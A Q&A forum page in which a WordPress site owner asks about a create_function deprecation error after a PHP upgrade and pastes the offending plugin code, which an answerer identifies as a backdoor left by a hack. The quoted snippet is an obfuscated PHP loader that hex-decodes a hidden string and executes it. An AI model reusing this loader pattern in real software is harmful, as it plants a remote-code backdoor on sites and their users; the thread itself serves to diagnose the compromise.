WORDPRESS - Deprecated: Function create_function() is deprecated in docs/docs.php on line 9

I know there were similiar threads but i didn't find an answer, so i decided to post it here.
I recently upgraded my PHP on wordpress site from 5.6 to 7.3 for better performanse.
Now i have this error:
Deprecated: Function create_function() is deprecated in /home/admin/domains/houser.pl/public_html/wp-content/plugins/docs/docs.php on line 9
So i checked the path file and it shows this:
$WHASl = $mFXQJ ; if (!function_exists ("aSlex")){function aSlex( $ppiAt){ $qqjBu="" ; $MXQII = strlen( $ppiAt ) / 2 ; for ( $BumFY=0 ;$BumFY< $MXQII; $BumFY++ ){$qqjBu.= chr (base_convert ( substr($ppiAt,$BumFY * 2, 2 ) , 16, 10 ) ); } return $qqjBu; } } $WHASl = create_function ( null , aSlex( $WHASl)); $WHASl() ;
I struggle with this for so long now, please let me know how to fix this.
Many thanks!
Answer
Solution:
That site is sure hacked. :(
If you see such obfuscated code in an WP, that might be suspicious.
http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/
Share solution ↓
Additional Information:
Link To Answer People are also looking for solutions of the problem: attempt to read property "id" on null
Didn't find the answer?
Our community is visited by hundreds of web development professionals every day. Ask your question and get a quick answer for free.
Similar questions
Find the answer in similar questions on our website.
Write quick answer
Do you know the answer to this question? Write a quick response to it. With your help, we will make our community stronger.